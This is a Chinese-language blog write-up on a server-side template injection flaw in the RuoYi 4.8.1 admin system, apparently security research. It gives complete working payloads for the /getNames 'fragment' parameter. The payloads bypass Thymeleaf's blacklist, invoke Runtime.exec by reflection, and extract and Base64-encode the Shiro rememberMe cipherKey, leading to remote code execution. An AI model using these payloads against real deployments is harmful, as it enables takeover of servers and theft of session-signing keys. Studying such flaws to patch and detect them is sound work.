/1dreamGN/Blog

1dreamGN

若依最新版本4.8.1漏洞 SSTI绕过获取ShiroKey至RCE

50
2025-11-26

前言

最近在微信公众号阅读某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)这篇文章,这篇文章的作者提供了一种新的表达式注入绕过方法,遂想通过这个绕过方法更改之前的利用链绕过检测并实现RCE。

什么是Thymeleaf表达式注入?

Thymeleaf是一种流行的Java模板引擎,用于在Web应用中生成动态HTML页面。表达式注入是指攻击者通过输入精心构造的数据,使得应用程序执行了非预期的表达式代码。

成功的Thymeleaf表达式注入可能导致远程代码执行、数据库信息泄露、服务器被完全控制等严重后果。

漏洞分析

RCE

发现的这个漏洞存在于若依管理系统的CacheController.java文件中,涉及/getNames接口:

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap) {
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment; // 模板注入漏洞
}

漏洞点

  • 控制器CacheController.java

  • 接口/getNames

  • 漏洞字段fragment参数

  • 漏洞原因:直接将用户输入拼接到Thymeleaf模板路径中。

在上面的文章中,已知这个点存在ssti漏洞,并且可直接通过表达式传入命令执行方法执行命令。在当前版本中,之前的表达式注入已失效,通过__|$${表达式}|__::.x 该格式可进行绕过,先来试验一下:

fragment=__|$${#response.getWriter().print('111')}|__::.x

发现是可以绕过的,页面成功输出111,但是想要和之前的payload一样直接反射调用runtime是不行的,原因在于最新版本的Thymeleaf中,SpringStandardExpressionUtils类将检查方法从containsSpELInstantiationOrStatic升级为containsSpELInstantiationOrStaticOrParam,并加强了检查逻辑,明确禁止上述危险语法的使用。这使得直接使用这些语法进行攻击变得更加困难。

最新版本中禁用的语法

  • T(java.lang.Runtime)(类型引用)

  • new java.io.File()(对象实例化)

  • T ()(带空格的类型引用)

  • param(参数引用)

经过测试,变量注入表达式也是行不通的,但是通过Groovy链式调用是可以成功执行的,因此表达式格式可以使用方法链式调用。之前的利用链不可用,经过查找,发现可以在SecurityManager 中获取获取getRuntime方法,根据之前payload的调用方法,构造出以下利用链:

获取SecurityManager → 获取Class → 获取ClassLoader → 加载Runtime类 → 获取getRuntime方法 → 获取Runtime实例 → 获取exec方法 → 执行系统命令

那么构造出如下利用链:

fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods().?[name=='getRuntime'][0].invoke(null).exec('calc'))}|__::.x

现在执行这个payload,看是否能够执行。

直接500报错,那么为什么这个链看起来是正常的却不能执行?先一步一步来,一点一点删除调用的方法,直到删除到loadClass('java.lang.Runtime') 这个地方成功输出。

看来是有某个安全监测机制不让获取getRuntime方法,那么还有机会能绕过吗?有的。在Gvoory中,getMethods()

getMethods作用是一样的,那么试一下把括号去掉是否报错。

没有报错,成功获取到getRuntime方法,那现在继续调试上面完整的利用链。

还是报错,从目前来看,直接调用exec的话会被监测机制拦截到,用同样的方法反射调用exec。

还是报错500,通过观察当前利用链,将getClass()的括号删除。

获取成功,现在只获取到了方法,但是没反射调用,由于获取到的是第一个exec方法,在查找当前exec方法的用法后,构造以下利用链:

fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x

等价于Runtime.exec(Runtime.getRuntime,"calc");,意思就是执行Runtime.getRuntime中的exec方法。

成功执行命令。经过测试jdk8u192可执行命令,300+以上版本就不行了,高版本暂时没分析。

利用链思维图(ai生成的,箭头有点乱,按顺序看就好)

ShiroKey至RCE

上面的rce就结束了,但是观察代码发现,若依最新版本shirokey由SpringBean管理,可以调用SpringBean获取shirokey,下面开始查找shirokey的利用链。

首先先查找shiro关键方法,发现在securityManager Bean下存在如下代码:

@Bean
public SecurityManager securityManager(UserRealm userRealm)
{
    DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
    // 设置realm
    securityManager.setRealm(userRealm);
    // 记住我
    securityManager.setRememberMeManager(rememberMe ? rememberMeManager() : null);
    // 注入缓存管理器
    securityManager.setCacheManager(getEhCacheManager());
    // session管理器
    securityManager.setSessionManager(sessionManager());
    return securityManager;
}

在securityManager方法中,通过rememberMeManager()方法设置rememberMeManager:

public CustomCookieRememberMeManager rememberMeManager()
{
    CustomCookieRememberMeManager cookieRememberMeManager = new CustomCookieRememberMeManager();
    cookieRememberMeManager.setCookie(rememberMeCookie());
    if (StringUtils.isNotEmpty(cipherKey))
    {
        cookieRememberMeManager.setCipherKey(Base64.decode(cipherKey));
    }
    else
    {
        cookieRememberMeManager.setCipherKey(CipherUtils.generateNewKey(128, "AES").getEncoded());
    }
    return cookieRememberMeManager;
}

如果配置文件中设置了 shiro.cookie.cipherKey ,则使用该配置的Base64解码值,否则,通过 CipherUtils.generateNewKey(128, "AES").getEncoded() 生成随机密钥,进入生成随机密钥的方法实现:

public static Key generateNewKey(int keyBitSize, String algorithmName)
{
    KeyGenerator kg;
    try
    {
        kg = KeyGenerator.getInstance(algorithmName);
    }
    catch (NoSuchAlgorithmException e)
    {
        String msg = "Unable to acquire " + algorithmName + " algorithm.  This is required to function.";
        throw new IllegalStateException(msg, e);
    }
    kg.init(keyBitSize);
    return kg.generateKey();
}

找到了cipherKey的位置,现在通过表达式获取一下试试:

fragment=__|$${#response.getWriter().print(@securityManager.rememberMeManager.cipherKey)}|__::.x

成功获取到shirokey的字节码,接下来,通过上面的代码,反射调用加密方法并加密shirokey,构造利用链如下:

fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getDeclaredMethod('getEncoder').invoke(null).encodeToString(@securityManager.getRememberMeManager().getClass().getSuperclass().getMethods().?[name=='getCipherKey'][0].invoke(@securityManager.getRememberMeManager())))}|__::.x

详细解释一下表达式调用链结构,在表达式 @securityManager.getRememberMeManager().getClass().getSuperclass().getMethods().?[name=='getCipherKey'][0].invoke(@securityManager.getRememberMeManager()) 中:

1. @securityManager.getRememberMeManager() :获取rememberMeManager对象实例

2. .getClass().getSuperclass() :获取该对象的父类(即CookieRememberMeManager)

3. .getMethods().?[name=='getCipherKey'][0] :找到名为getCipherKey的方法

4. .invoke(@securityManager.getRememberMeManager()) :调用该方法,第一个参数是方法的调用目标对象

非静态方法调用 : getCipherKey() 是非静态方法,必须在一个具体的对象实例上调用

实例方法的特性 :实例方法操作的是对象的成员变量(cipherKey就是rememberMeManager对象的一个成员变量)

反射机制要求 :当使用反射API调用非静态方法时,必须提供该方法所属的对象实例作为invoke的第一个参数

如果不提供对象实例,Java运行时将不知道从哪个对象中获取cipherKey的值。这就像调用普通方法时,必须指定是哪个对象调用该方法一样(如 obj.method() 而不是 method() )。

运行该表达式。

成功获取,该表达式还可以精简一下:

fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x

使用获取到的key,放到工具里测试下:

成功RCE。

引用